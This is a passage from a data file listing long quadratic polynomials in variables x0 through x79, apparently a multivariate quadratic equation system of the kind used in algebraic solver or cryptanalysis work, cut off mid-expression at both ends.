+ x12*x20 + x12*x21 + x12*x22 + x12*x27 + x12*x28 + x12*x29 + x12*x30 + x12*x33 + x12*x36 + x12*x38 + x12*x41 + x12*x43 + x12*x44 + x12*x47 + x12*x48 + x12*x49 + x12*x53 + x12*x57 + x12*x64 + x12*x65 + x12*x67 + x12*x71 + x12*x72 + x12*x74 + x12*x79 + x12 + x13*x15 + x13*x16 + x13*x18 + x13*x21 + x13*x27 + x13*x32 + x13*x33 + x13*x37 + x13*x40 + x13*x43 + x13*x44 + x13*x48 + x13*x49 + x13*x50 + x13*x51 + x13*x52 + x13*x53 + x13*x56 + x13*x58 + x13*x60 + x13*x61 + x13*x62 + x13*x65 + x13*x66 + x13*x69 + x13*x70 + x13*x71 + x13*x72 + x13*x76 + x13*x78 + x13*x79 + x14*x15 + x14*x16 + x14*x17 + x14*x18 + x14*x24 + x14*x25 + x14*x26 + x14*x29 + x14*x31 + x14*x33 + x14*x34 + x14*x39 + x14*x43 + x14*x45 + x14*x48 + x14*x49 + x14*x51 + x14*x52 + x14*x54 + x14*x55 + x14*x56 + x14*x59 + x14*x62 + x14*x65 + x14*x66 + x14*x67 + x14*x69 + x14*x71 + x14*x73 + x14*x75 + x14*x78 + x15*x18 + x15*x23 + x15*x24 + x15*x30 + x15*x32 + x15*x34 + x15*x35 + x15*x36 + x15*x38 + x15*x39 + x15*x40 + x15*x44 + x15*x45 + x15*x46 + x15*x47 + x15*x48 + x15*x51 + x15*x52 + x15*x53 + x15*x54 + x15*x55 + x15*x57 + x15*x59 + x15*x60 + x15*x63 + x15*x64 + x15*x66 + x15*x67 + x15*x73 + x15*x76 + x15*x79 + x15 + x16*x17 + x16*x18 + x16*x20 + x16*x24 + x16*x26 + x16*x27 + x16*x29 + x16*x31 + x16*x33 + x16*x34 + x16*x35 + x16*x37 + x16*x41 + x16*x42 + x16*x47 + x16*x48 + x16*x50 + x16*x52 + x16*x53 + x16*x56 + x16*x59 + x16*x60 + x16*x61 + x16*x63 + x16*x66 + x16*x67 + x16*x68 + x16*x69 + x16*x70 + x16*x72 + x16*x73 + x16*x77 + x17*x19 + x17*x20 + x17*x22 + x17*x23 + x17*x25 + x17*x26 + x17*x27 + x17*x28 + x17*x29 + x17*x31 + x17*x33 + x17*x38 + x17*x39 + x17*x40 + x17*x44 + x17*x46 + x17*x48 + x17*x49 + x17*x50 + x17*x51 + x17*x53 + x17*x54 + x17*x55 + x17*x58 + x17*x60 + x17*x62 + x17*x64 + x17*x65 + x17*x66 + x17*x67 + x17*x68 + x17*x69 + x17*x70 + x17*x72 + x17*x75 + x17*x78 + x17*x79 + x18*x19 + x18*x20 + x18*x22 + x18*x24 + x18*x25 + x18*x27 + x18*x28 + x18*x31 + x18*x32 + x18*x40 + x18*x41 + x18*x42 + x18*x43 + x18*x44 + x18*x45 + x18*x46 + x18*x47 + x18*x48 + x18*x49 + x18*x50 + x18*x53 + x18*x54 + x18*x56 + x18*x58 + x18*x64 + x18*x68 + x18*x70 + x18*x72 + x18*x75 + x18*x77 + x18*x79 + x18 + x19*x21 + x19*x28 + x19*x30 + x19*x32 + x19*x34 + x19*x35 + x19*x39 + x19*x40 + x19*x48 + x19*x50 + x19*x52 + x19*x55 + x19*x57 + x19*x59 + x19*x60 + x19*x65 + x19*x66 + x19*x67 + x19*x68 + x19*x72 + x19*x73 + x19*x75 + x19*x78 + x19 + x20*x21 + x20*x22 + x20*x26 + x20*x27 + x20*x29 + x20*x30 + x20*x31 + x20*x32 + x20*x34 + x20*x36 + x20*x39 + x20*x41 + x20*x42 + x20*x45 + x20*x46 + x20*x47 + x20*x51 + x20*x53 + x20*x55 + x20*x58 + x20*x59 + x20*x63 + x20*x64 + x20*x67 + x20*x70 + x20*x72 + x20*x74 + x20*x76 + x20*x78 + x20*x79 + x21*x24 + x21*x25 + x21*x26 + x21*x27 + x21*x30 + x21*x31 + x21*x33 + x21*x34 + x21*x39 + x21*x40 + x21*x41 + x21*x42 + x21*x43 + x21*x44 + x21*x45 + x21*x51 + x21*x54 + x21*x55 + x21*x56 + x21*x58 + x21*x59 + x21*x60 + x21*x62 + x21*x63 + x21*x64 + x21*x65 + x21*x66 + x21*x67 + x21*x72 + x21*x76 + x21*x77 + x21 + x22*x24 + x22*x25 + x22*x28 + x22*x29 + x22*x33 + x22*x34 + x22*x35 + x22*x36 + x22*x38 + x22*x39 + x22*x40 + x22*x41 + x22*x42 + x22*x43 + x22*x44 + x22*x48 + x22*x52 + x22*x53 + x22*x54 + x22*x56 + x22*x57 + x22*x59 + x22*x62 + x22*x63 + x22*x64 + x22*x65 + x22*x71 + x22*x72 + x22*x73 + x22*x75 + x22*x78 + x22*x79 + x23*x24 + x23*x25 + x23*x27 + x23*x29 + x23*x30 + x23*x31 + x23*x33 + x23*x34 + x23*x37 + x23*x39 + x23*x40 + x23*x41 + x23*x43 + x23*x44 + x23*x47 + x23*x48 + x23*x49 + x23*x50 + x23*x51 + x23*x52 + x23*x53 + x23*x54 + x23*x58 + x23*x61 + x23*x62 + x23*x63 + x23*x65 + x23*x67 + x23*x69 + x23*x70 + x23*x75 + x23*x78 + x23 + x24*x25 + x24*x26 + x24*x28 + x24*x30 + x24*x31 + x24*x33 + x24*x34 + x24*x36 + x24*x38 + x24*x43 + x24*x48 + x24*x49 + x24*x50 + x24*x52 + x24*x53 + x24*x54 + x24*x56 + x24*x58 + x24*x59 + x24*x61 + x24*x67 + x24*x68 + x24*x69 + x24*x70 + x24*x73 + x24*x74 + x24*x76 + x24*x79 + x25*x26 + x25*x29 + x25*x33 + x25*x35 + x25*x36 + x25*x37 + x25*x38 + x25*x39 + x25*x40 + x25*x41 + x25*x43 + x25*x45 + x25*x47 + x25*x48 + x25*x50 + x25*x51 + x25*x52 + x25*x53 + x25*x57 + x25*x58 + x25*x59 + x25*x60 + x25*x61 + x25*x62 + x25*x63 + x25*x64 + x25*x66 + x25*x70 + x25*x75 + x25*x77 + x25*x78 + x25*x79 + x26*x27 + x26*x31 + x26*x32 + x26*x36 + x26*x38 + x26*x39 + x26*x40 + x26*x42 + x26*x45 + x26*x47 + x26*x50 + x26*x52 + x26*x54 + x26*x57 + x26*x58 + x26*x59 + x26*x60 + x26*x62 + x26*x67 + x26*x71 + x26*x75 + x26*x76 + x26*x78 + x27*x30 + x27*x31 + x27*x32 + x27*x34 + x27*x35 + x27*x37 + x27*x40 + x27*x41 + x27*x42 + x27*x43 + x27*x44 + x27*x45 + x27*x46 + x27*x48 + x27*x49 + x27*x50 + x27*x51 + x27*x52 + x27*x54 + x27*x55 + x27*x58 + x27*x60 + x27*x61 + x27*x62 + x27*x63 + x27*x64 + x27*x65 + x27*x66 + x27*x67 + x27*x68 + x27*x71 + x27*x72 + x27*x77 + x27*x78 + x27 + x28*x29 + x28*x30 + x28*x35 + x28*x36 + x28*x38 + x28*x39 + x28*x40 + x28*x42 + x28*x44 + x28*x48 + x28*x52 + x28*x54 + x28*x57 + x28*x59 + x28*x64 + x28*x65 + x28*x66 + x28*x70 + x28*x72 + x28*x75 + x28 + x29*x32 + x29*x35 + x29*x37 + x29*x38 + x29*x39 + x29*x41 + x29*x42 + x29*x44 + x29*x45 + x29*x46 + x29*x47 + x29*x49 + x29*x50 + x29*x52 + x29*x54 + x29*x55 + x29*x57 + x29*x60 + x29*x61 + x29*x62 + x29*x63 + x29*x65 + x29*x66 + x29*x67 + x29*x68 + x29*x70 + x29*x72 + x29*x74 + x29*x77 + x29*x78 + x29*x79 + x29 + x30*x32 + x30*x34 + x30*x37 + x30*x39 + x30*x40 + x30*x42 + x30*x43 + x30*x45 + x30*x48 + x30*x49 + x30*x50 + x30*x51 + x30*x55 + x30*x57 + x30*x61 + x30*x63 + x30*x64 + x30*x68 + x30*x69 + x30*x70 + x30*x71 + x30*x73 + x30*x74 + x30*x76 + x31*x32 + x31*x35 + x31*x39 + x31*x42 + x31*x46 + x31*x51 + x31*x53 + x31*x58 + x31*x60 + x31*x62 + x31*x63 + x31*x65 + x31*x66 + x31*x67 + x31*x69 + x31*x70 + x31*x71 + x31*x74 + x31*x77 + x32*x34 + x32*x35 + x32*x37 + x32*x38 + x32*x40 + x32*x42 + x32*x43 + x32*x45 + x32*x47 + x32*x49 + x32*x50 + x32*x59 + x32*x63 + x32*x64 + x32*x65 + x32*x66 + x32*x67 + x32*x69 + x32*x71 + x32*x74 + x32*x75 + x32*x76 + x32*x77 + x32*x79 + x33*x35 + x33*x40 + x33*x41 + x33*x42 + x33*x43 + x33*x44 + x33*x45 + x33*x46 + x33*x47 + x33*x48 + x33*x49 + x33*x50 + x33*x52 + x33*x53 + x33*x54 + x33*x57 + x33*x59 + x33*x60 + x33*x61 + x33*x62 + x33*x66 + x33*x67 + x33*x68 + x33*x69 + x33*x74 + x33*x75 + x33*x76 + x34*x37 + x34*x40 + x34*x42 + x34*x45 + x34*x46 + x34*x48 + x34*x50 + x34*x52 + x34*x53 + x34*x54 + x34*x57 + x34*x64 + x34*x65 + x34*x66 + x34*x67 + x34*x69 + x34*x71 + x34*x76 + x34*x77 + x34*x78 + x34*x79 + x35*x36 + x35*x38 + x35*x40 + x35*x41 + x35*x42 + x35*x43 + x35*x44 + x35*x45 + x35*x47 + x35*x50 + x35*x52 + x35*x53 + x35*x54 + x35*x64 + x35*x65 + x35*x66 + x35*x68 + x35*x70 + x35*x72 + x35*x73 + x35*x74 + x35*x75 + x35*x76 + x35*x77 + x35*x79 + x36*x37 + x36*x39 + x36*x40 + x36*x41 + x36*x42 + x36*x44 + x36*x45 + x36*x48 + x36*x50 + x36*x57 + x36*x58 + x36*x59 + x36*x61 + x36*x63 + x36*x64 + x36*x66 + x36*x75 + x36*x76 + x36*x77 + x36*x78 + x37*x38 + x37*x39 + x37*x40 + x37*x42 + x37*x46 + x37*x47 + x37*x49 + x37*x53 + x37*x55 + x37*x56 + x37*x57 + x37*x59 + x37*x60 + x37*x61 + x37*x62 + x37*x63 + x37*x64 + x37*x67 + x37*x68 + x37*x69 + x37*x70 + x37*x72 + x37*x73 + x37*x74 + x37*x75 + x37*x76 + x37*x77 + x37*x78 + x37*x79 + x37 + x38*x39 + x38*x40 + x38*x41 + x38*x42 + x38*x43 + x38*x46 + x38*x48 + x38*x49 + x38*x50 + x38*x51 + x38*x52 + x38*x54 + x38*x55 + x38*x56 + x38*x57 + x38*x60 + x38*x61 + x38*x62 + x38*x63 + x38*x66 + x38*x68 + x38*x72 + x38*x73 + x38*x75 + x38*x76 + x38*x77 + x38*x79 + x38 + x39*x41 + x39*x43 + x39*x47 + x39*x50 + x39*x51 + x39*x55 + x39*x56 + x39*x57 + x39*x58 + x39*x59 + x39*x60 + x39*x65 + x39*x67 + x39*x68 + x39*x69 + x39*x72 + x39*x77 + x39*x78 + x39*x79 + x40*x41 + x40*x42 + x40*x43 + x40*x45 + x40*x46 + x40*x47 + x40*x49 + x40*x50 + x40*x54 + x40*x55 + x40*x57 + x40*x58 + x40*x59 + x40*x62 + x40*x63 + x40*x64 + x40*x65 + x40*x66 + x40*x67 + x40*x68 + x40*x69 + x40*x71 + x40*x77 + x40*x79 + x41*x43 + x41*x46 + x41*x48 + x41*x49 + x41*x51 + x41*x52 + x41*x53 + x41*x54 + x41*x55 + x41*x56 + x41*x57 + x41*x60 + x41*x62 + x41*x63 + x41*x64 + x41*x67 + x41*x70 + x41*x71 + x41*x73 + x41*x74 + x41*x78 + x41*x79 + x42*x43 + x42*x50 + x42*x51 + x42*x52 + x42*x59 + x42*x60 + x42*x62 + x42*x63 + x42*x64 + x42*x66 + x42*x72 + x42*x73 + x42*x74 + x42*x78 + x42*x79 + x42 + x43*x46 + x43*x48 + x43*x49 + x43*x50 + x43*x55 + x43*x57 + x43*x59 + x43*x64 + x43*x65 + x43*x68 + x43*x70 + x43*x71 + x43*x72 + x43*x76 + x43*x77 + x43 + x44*x45 + x44*x46 + x44*x47 + x44*x49 + x44*x50 + x44*x53 + x44*x55 + x44*x56 + x44*x57 + x44*x58 + x44*x60 + x44*x62 + x44*x67 + x44*x68 + x44*x69 + x44*x70 + x44*x71 + x44*x73 + x44*x75 + x44*x76 + x44*x77 + x44*x79 + x45*x46 + x45*x49 + x45*x50 + x45*x52 + x45*x53 + x45*x54 + x45*x56 + x45*x57 + x45*x60 + x45*x65 + x45*x66 + x45*x67 + x45*x74 + x45*x78 + x45*x79 + x46*x48 + x46*x49 + x46*x50 + x46*x51 + x46*x52 + x46*x53 + x46*x54 + x46*x55 + x46*x56 + x46*x57 + x46*x59 + x46*x60 + x46*x63 + x46*x66 + x46*x67 + x46*x70 + x46*x71 + x46*x72 + x46*x76 + x46*x77 + x47*x48 + x47*x49 + x47*x50 + x47*x51 + x47*x52 + x47*x53 + x47*x55 + x47*x63 + x47*x64 + x47*x65 + x47*x67 + x47*x68 + x47*x71 + x47*x73 + x47*x78 + x48*x49 + x48*x50 + x48*x53 + x48*x54 + x48*x55 + x48*x56 + x48*x59 + x48*x61 + x48*x68 + x48*x70 + x48*x71 + x48*x76 + x48*x78 + x49*x50 + x49*x51 + x49*x52 + x49*x54 + x49*x58 + x49*x60 + x49*x62 + x49*x65 + x49*x66 + x49*x67 + x49*x68 + x49*x69 + x49*x72 + x49*x73 + x49*x74 + x49*x76 + x49*x77 + x49*x78 + x49*x79 + x50*x51 + x50*x52 + x50*x53 + x50*x55 + x50*x56 + x50*x59 + x50*x64 + x50*x66 + x50*x68 + x50*x70 + x50*x71 + x50*x75 + x50*x76 + x50*x77 + x50*x78 + x50*x79 + x50 + x51*x53 + x51*x56 + x51*x61 + x51*x63 + x51*x67 + x51*x69 + x51*x71 + x51*x73 + x51*x78 + x52*x54 + x52*x57 + x52*x58 + x52*x59 + x52*x62 + x52*x63 + x52*x64 + x52*x67 + x52*x69 + x52*x71 + x52*x72 + x52*x75 + x52*x77 + x52*x79 + x52 + x53*x55 + x53*x56 + x53*x57 + x53*x62 + x53*x64 + x53*x67 + x53*x71 + x53*x74 + x53*x75 + x53*x77 + x53*x79 + x53 + x54*x55 + x54*x56 + x54*x57 + x54*x62 + x54*x64 + x54*x66 + x54*x69 + x54*x71 + x54*x73 + x54*x77 + x54*x78 + x54 + x55*x56 + x55*x57 + x55*x58 + x55*x60 + x55*x61 + x55*x62 + x55*x63 + x55*x68 + x55*x70 + x55*x72 + x55*x74 + x55*x77 + x55*x79 + x55 + x56*x57 + x56*x59 + x56*x61 + x56*x63 + x56*x64 + x56*x65 + x56*x66 + x56*x68 + x56*x69 + x56*x70 + x56*x71 + x56*x73 + x56*x76 + x57*x60 + x57*x62 + x57*x63 + x57*x64 + x57*x65 + x57*x66 + x57*x67 + x57*x69 + x57*x70 + x57*x72 + x57*x73 + x57*x74 + x57*x76 + x57*x77 + x57*x78 + x57 + x58*x62 + x58*x63 + x58*x65 + x58*x67 + x58*x68 + x58*x71 + x58*x72 + x58*x73 + x58*x75 + x58*x78 + x59*x65 + x59*x67 + x59*x69 + x59*x70 + x59*x73 + x59*x74 + x59*x76 + x59*x78 + x59 + x60*x62 + x60*x63 + x60*x66 + x60*x72 + x60*x76 + x60*x77 + x60*x78 + x60 + x61*x70 + x61*x71 + x61*x73 + x61*x75 + x61*x76 + x61*x78 + x62*x65 + x62*x66 + x62*x67 + x62*x68 + x62*x71 + x62*x72 + x62*x75 + x62*x76 + x62*x78 + x62*x79 + x63*x64 + x63*x66 + x63*x67 + x63*x68 + x63*x71 + x63*x72 + x63*x74 + x63*x76 + x63*x77 + x63*x79 + x63 + x64*x66 + x64*x67 + x64*x68 + x64*x70 + x64*x74 + x64*x76 + x64*x77 + x65*x66 + x65*x67 + x65*x69 + x65*x72 + x65*x73 + x66*x67 + x66*x68 + x66*x69 + x66*x72 + x66*x73 + x66*x74 + x66*x75 + x66*x76 + x66*x79 + x67*x72 + x67*x73 + x67*x74 + x67*x75 + x67*x76 + x67*x77 + x68*x69 + x68*x72 + x68*x73 + x68*x75 + x68*x79 + x68 + x69*x71 + x69*x72 + x69*x74 + x69*x75 + x69*x76 + x69*x78 + x69*x79 + x70*x72 + x70*x73 + x70*x74 + x70*x75 + x70*x76 + x70*x79 + x70 + x71*x72 + x71*x73 + x71*x74 + x71*x76 + x71*x78 + x71*x79 + x72*x73 + x72*x75 + x72*x78 + x72*x79 + x72 + x73*x76 + x73*x77 + x73*x78 + x73*x79 + x74*x75 + x74*x76 + x74*x78 + x74*x79 + x75*x76 + x75*x77 + x75*x78 + x75*x79 + x76*x77 + x76*x79 + x77 + x78*x79 + x78 + 1, x0*x4 + x0*x9 + x0*x10 + x0*x13 + x0*x14 + x0*x15 + x0*x16 + x0*x17 + x0*x18 + x0*x19 + x0*x20 + x0*x23 + x0*x24 + x0*x30 + x0*x32 + x0*x36 + x0*x41 + x0*x42 + x0*x43 + x0*x46 + x0*x49 + x0*x53 + x0*x54 + x0*x56 + x0*x57 + x0*x60 + x0*x61 + x0*x62 + x0*x67 + x0*x68 + x0*x69 + x0*x70 + x0*x71 + x0*x72 + x0*x75 + x1*x2 + x1*x4 + x1*x6 + x1*x7 + x1*x8 + x1*x10 + x1*x11 + x1*x14 + x1*x16 + x1*x19 + x1*x21 + x1*x23 + x1*x24 + x1*x25 + x1*x30 + x1*x31 + x1*x32 + x1*x33 + x1*x34 + x1*x35 + x1*x37 + x1*x38 + x1*x39 + x1*x41 + x1*x42 + x1*x47 + x1*x48 + x1*x49 + x1*x50 + x1*x54 + x1*x56 + x1*x57 + x1*x58 + x1*x61 + x1*x65 + x1*x66 + x1*x67 + x1*x69 + x1*x72 + x1*x74 + x1*x78 + x2*x3 + x2*x4 + x2*x7 + x2*x9 + x2*x14 + x2*x15 + x2*x16 + x2*x17 + x2*x18 + x2*x20 + x2*x21 + x2*x23 + x2*x24 + x2*x25 + x2*x26 + x2*x29 + x2*x31 + x2*x32 + x2*x34 + x2*x37 + x2*x39 + x2*x41 + x2*x42 + x2*x47 + x2*x48 + x2*x49 + x2*x50 + x2*x51 + x2*x52 + x2*x54 + x2*x55 + x2*x57 + x2*x61 + x2*x62 + x2*x63 + x2*x65 + x2*x66 + x2*x67 + x2*x71 + x2*x77 + x2*x78 + x2*x79 + x2 + x3*x5 + x3*x6 + x3*x8 + x3*x9 + x3*x11 + x3*x12 + x3*x13 + x3*x16 + x3*x20 + x3*x24 + x3*x25 + x3*x28 + x3*x29 + x3*x30 + x3*x31 + x3*x32 + x3*x36 + x3*x37 + x3*x40 + x3*x43 + x3*x44 + x3*x46 + x3*x48 + x3*x51 + x3*x52 + x3*x54 + x3*x56 + x3*x57 + x3*x59 + x3*x62 + x3*x63 + x3*x65 + x3*x66 + x3*x67 + x3*x69 + x3*x70 + x3*x71 + x3*x72 + x3*x77 + x3*x79 + x4*x5 + x4*x12 + x4*x13 + x4*x14 + x4*x15 + x4*x16 + x4*x17 + x4*x18 + x4*x19 + x4*x20 + x4*x22 + x4*x23 + x4*x24 + x4*x27 + x4*x30 + x4*x31 + x4*x34 + x4*x35 + x4*x36 + x4*x38 + x4*x39 + x4*x40 + x4*x41 + x4*x45 + x4*x46 + x4*x47 + x4*x52 + x4*x55 + x4*x56 + x4*x57 + x4*x58 + x4*x59 + x4*x61 + x4*x65 + x4*x70 + x4*x72 + x4*x73 + x4*x74 + x4*x78 + x5*x6 + x5*x11 + x5*x12 + x5*x13 + x5*x14 + x5*x16 + x5*x17 + x5*x19 + x5*x24 + x5*x27 + x5*x33 + x5*x34 + x5*x35 + x5*x36 + x5*x41 + x5*x43 + x5*x44 + x5*x45 + x5*x48 + x5*x49 + x5*x50 + x5*x51 + x5*x54 + x5*x55 + x5*x59 + x5*x62 + x5*x66 + x5*x67 + x5*x71 + x5*x72 + x5*x73 + x5*x76 + x5*x77 + x5*x78 + x6*x7 + x6*x8 + x6*x13 + x6*x15 + x6*x16 + x6*x17 + x6*x18 + x6*x19 + x6*x21 + x6*x22 + x6*x25 + x6*x26 + x6*x28 + x6*x30 + x6*x32 + x6*x34 + x6*x35 + x6*x38 + x6*x39 + x6*x40 + x6*x42 + x6*x47 + x6*x51 + x6*x53 + x6*x55 + x6*x56 + x6*x59 + x6*x62 + x6*x65 + x6*x69 + x6*x74 + x6*x75 + x6*x77 + x6*x78 + x7*x8 + x7*x16 + x7*x17 + x7*x23 + x7*x24 + x7*x26 + x7*x27 + x7*x28 + x7*x35 + x7*x37 + x7*x39 + x7*x41 + x7*x42 + x7*x43 + x7*x49 + x7*x50 + x7*x54 + x7*x56 + x7*x57 + x7*x58 + x7*x59 + x7*x60 + x7*x61 + x7*x62 + x7*x63 + x7*x67 + x7*x68 + x7*x70 + x7*x75 + x7*x76 + x7*x77 + x7*x78 + x8*x10 + x8*x12 + x8*x14 + x8*x15 + x8*x17 + x8*x18 + x8*x19 + x8*x21 + x8*x22 + x8*x24 + x8*x25 + x8*x26 + x8*x27 + x8*x29 + x8*x30 + x8*x37 + x8*x38 + x8*x39 + x8*x40 + x8*x41 + x8*x44 + x8*x45 + x8*x47 + x8*x48 + x8*x49 + x8*x50 + x8*x52 + x8*x55 + x8*x56 + x8*x58 + x8*x59 + x8*x60 + x8*x65 + x8*x66 + x8*x68 + x8*x71 + x8*x73 + x8*x76 + x8*x77 + x8*x79 + x8 + x9*x12 + x9*x13 + x9*x14 + x9*x15 + x9*x17 + x9*x18 + x9*x20 + x9*x21 + x9*x22 + x9*x26 + x9*x27 + x9*x28 + x9*x33 + x9*x35 + x9*x36 + x9*x38 + x9*x41 + x9*x44 + x9*x46 + x9*x47 + x9*x48 + x9*x50 + x9*x51 + x9*x54 + x9*x57 + x9*x58 + x9*x59 + x9*x62 + x9*x64 + x9*x65 + x9*x66 + x9*x68 + x9*x69 + x9*x71 + x9*x72 + x9*x73 + x9*x74 + x9*x75 + x9*x78 + x9 + x10*x11 + x10*x13 + x10*x14 + x10*x15 + x10*x20 + x10*x23 + x10*x24 + x10*x25 + x10*x26 + x10*x27 + x10*x29 + x10*x32 + x10*x33 + x10*x37 + x10*x38 + x10*x39 + x10*x40 + x10*x43 + x10*x46 + x10*x48 + x10*x53 + x10*x57 + x10*x58 + x10*x59 + x10*x60 + x10*x61 + x10*x62 + x10*x63 + x10*x66 + x10*x67 + x10*x71 + x10*x73 + x10*x75 + x10*x76 + x11*x15 + x11*x19 + x11*x20 + x11*x23 + x11*x24 + x11*x25 + x11*x31 + x11*x34 + x11*x39 + x11*x45 + x11*x46 + x11*x48 + x11*x50 + x11*x51 + x11*x52 + x11*x53 + x11*x56 + x11*x58 + x11*x59 + x11*x62 + x11*x64 + x11*x65 + x11*x66 + x11*x69 + x11*x70 + x11*x72 + x11*x78 + x11*x79 + x12*x13 + x12*x16 + x12*x17 + x12*x20 + x12*x21 + x12*x23 + x12*x24 + x12*x25 + x12*x29 + x12*x30 + x12*x31 + x12*x34 + x12*x35 + x12*x37 + x12*x39 + x12*x40 + x12*x41 + x12*x42 + x12*x47 + x12*x48 + x12*x49 + x12*x50 + x12*x53 + x12*x54 + x12*x60 + x12*x64 + x12*x66 + x12*x68 + x12*x69 + x12*x72 + x12*x75 + x12*x76 + x12*x79 + x13*x16 + x13*x17 + x13*x18 + x13*x19 + x13*x21 + x13*x22 + x13*x23 + x13*x24 + x13*x26 + x13*x27 + x13*x29 + x13*x35 + x13*x36 + x13*x42 + x13*x43 + x13*x44 + x13*x45 + x13*x46 + x13*x47 + x13*x49 + x13*x50 + x13*x53 + x13*x55 + x13*x56 + x13*x58 + x13*x59 + x13*x61 + x13*x65 + x13*x66 + x13*x67 + x13*x68 + x13*x69 + x13*x75 + x13*x77 + x13*x78 + x13*x79 + x14*x15 + x14*x16 + x14*x21 + x14*x22 + x14*x23 + x14*x26 + x14*x27 + x14*x28 + x14*x29 + x14*x31 + x14*x35 + x14*x36 + x14*x44 + x14*x45 + x14*x47 + x14*x50 + x14*x51 + x14*x52 + x14*x56 + x14*x57 + x14*x59 + x14*x62 + x14*x64 + x14*x66 + x14*x67 + x14*x76 + x14*x78 + x14*x79 + x14 + x15*x17 + x15*x18 + x15*x19 + x15*x21 + x15*x22 + x15*x23 + x15*x24 + x15*x25 + x15*x26 + x15*x29 + x15*x30 + x15*x32 + x15*x35 + x15*x36 + x15*x37 + x15*x41 + x15*x42 + x15*x43 + x15*x46 + x15*x48 + x15*x50 + x15*x53 + x15*x54 + x15*x55 + x15*x57 + x15*x63 + x15*x66 + x15*x69 + x15*x70 + x15*x74 + x15*x75 + x15*x78 + x16*x18 + x16*x20 + x16*x22 + x16*x25 + x16*x28 + x16*x32 + x16*x35 + x16*x36 + x16*x37 + x16*x42 + x16*x44 + x16*x48 + x16*x49 + x16*x50 + x16*x54 + x16*x55 + x16*x57 + x16*x60 + x16*x61 + x16*x63 + x16*x65 + x16*x66 + x16*x68 + x16*x72 + x16*x74 + x16*x79 + x16 + x17*x19 + x17*x20 + x17*x23 + x17*x26 + x17*x30 + x17*x32 + x17*x33 + x17*x34 + x17*x37 + x17*x42 + x17*x43 + x17*x44 + x17*x45 + x17*x47 + x17*x48 + x17*x49 + x17*x50 + x17*x52 + x17*x55 + x17*x56 + x17*x57 + x17*x58 + x17*x59 + x17*x63 + x17*x64 + x17*x65 + x17*x66 + x17*x67 + x17*x68 + x17*x72 + x17*x74 + x17*x75 + x17*x76 + x17*x79 + x17 + x18*x19 + x18*x23 + x18*x25 + x18*x26 + x18*x28 + x18*x29 + x18*x32 + x18*x34 + x18*x35 + x18*x36 + x18*x40 + x18*x41 + x18*x46 + x18*x48 + x18*x50 + x18*x59 + x18*x60 + x18*x65 + x18*x66 + x18*x67 + x18*x70 + x18*x71 + x18*x73 + x18*x74 + x18*x75 + x18*x76 + x19*x20 + x19*x24 + x19*x25 + x19*x27 + x19*x29 + x19*x30 + x19*x31 + x19*x32 + x19*x34 + x19*x35 + x19*x36 + x19*x37 + x19*x39 + x19*x42 + x19*x43 + x19*x44 + x19*x46 + x19*x52 + x19*x55 + x19*x56 + x19*x57 + x19*x59 + x19*x60 + x19*x61 + x19*x63 + x19*x65 + x19*x66 + x19*x70 + x19*x71 + x19*x72 + x19*x73 + x19*x76 + x19*x77 + x19 + x20*x21 + x20*x26 + x20*x28 + x20*x34 + x20*x36 + x20*x38 + x20*x39 + x20*x40 + x20*x43 + x20*x45 + x20*x47 + x20*x48 + x20*x49 + x20*x52 + x20*x54 + x20*x55 + x20*x57 + x20*x59 + x20*x60 + x20*x61 + x20*x62 + x20*x63 + x20*x64 + x20*x66 + x20*x67 + x20*x70 + x20*x72 + x20*x74 + x20*x76 + x20*x77 + x20 + x21*x22 + x21*x23 + x21*x25 + x21*x27 + x21*x29 + x21*x33 + x21*x36 + x21*x44 + x21*x45 + x21*x47 + x21*x48 + x21*x49 + x21*x50 + x21*x51 + x21*x52 + x21*x54 + x21*x56 + x21*x57 + x21*x61 + x21*x62 + x21*x63 + x21*x64 + x21*x66 + x21*x67 + x21*x71 + x21*x74 + x21*x76 + x21*x78 + x22*x25 + x22*x26 + x22*x29 + x22*x30 + x22*x31 + x22*x32 + x22*x35 + x22*x37 + x22*x38 + x22*x39 + x22*x42 + x22*x43 + x22*x44 + x22*x45 + x22*x50 + x22*x52 + x22*x53 + x22*x55 + x22*x56 + x22*x58 + x22*x60 + x22*x63 + x22*x64 + x22*x66 + x22*x67 + x22*x69 + x22*x75 + x22*x78 + x22 + x23*x25 + x23*x33 + x23*x34 + x23*x36 + x23*x37 + x23*x40 + x23*x41 + x23*x42 + x23*x48 + x23*x49 + x23*x53 + x23*x54 + x23*x55 + x23*x56 + x23*x57 + x23*x59 + x23*x60 + x23*x61 + x23*x62 + x23*x64 + x23*x65 + x23*x66 + x23*x68 + x23*x70 + x23*x71 + x23*x72 + x23*x78 + x23*x79 + x24*x25 + x24*x26 + x24*x27 + x24*x28 + x24*x29 + x24*x34 + x24*x35 + x24*x36 + x24*x37 + x24*x38 + x24*x42 + x24*x45 + x24*x46 + x24*x50 + x24*x54 + x24*x55 + x24*x57 + x24*x58 + x24*x59 + x24*x64 + x24*x67 + x24*x69 + x24*x70 + x24*x71 + x24*x72 + x24*x76 + x24*x77 + x24 + x25*x26 + x25*x33 + x25*x37 + x25*x38 + x25*x39 + x25*x42 + x25*x43 + x25*x46 + x25*x47 + x25*x50 + x25*x52 + x25*x54 + x25*x55 + x25*x56 + x25*x57 + x25*x60 + x25*x61 + x25*x62 + x25*x63 + x25*x68 + x25*x69 + x25*x71 + x25*x73 + x25*x74 + x25*x76 + x25*x78 + x25*x79 + x25 + x26*x27 + x26*x28 + x26*x30 + x26*x31 + x26*x34 + x26*x35 + x26*x37 + x26*x38 + x26*x42 + x26*x44 + x26*x45 + x26*x48 + x26*x52 + x26*x53 + x26*x55 + x26*x58 + x26*x61 + x26*x63 + x26*x65 + x26*x68 + x26*x71 + x26*x75 + x26*x76 + x26*x78 + x26 + x27*x34 + x27*x35 + x27*x38 + x27*x39 + x27*x42 + x27*x44 + x27*x45 + x27*x46 + x27*x48 + x27*x49 + x27*x52 + x27*x54 + x27*x56 + x27*x57 + x27*x58 + x27*x60 + x27*x65 + x27*x66 + x27*x67 + x27*x71 + x27*x72 + x27*x74 + x27*x76 + x27*x78 + x28*x29 + x28*x30 + x28*x33 + x28*x34 + x28*x36 + x28*x37 + x28*x41 + x28*x42 + x28*x44 + x28*x45 + x28*x47 + x28*x51 + x28*x55 + x28*x57 + x28*x59 + x28*x62 + x28*x63 + x28*x64 + x28*x65 + x28*x66 + x28*x70 + x28*x71 + x28*x72 + x28*x74 + x28*x79 + x28 + x29*x31 + x29*x32 + x29*x33 + x29*x34 + x29*x36 + x29*x40 + x29*x41 + x29*x42 + x29*x43 + x29*x44 + x29*x47 + x29*x49 + x29*x50 + x29*x52 + x29*x53 + x29*x55 + x29*x57 + x29*x58 + x29*x61 + x29*x62 + 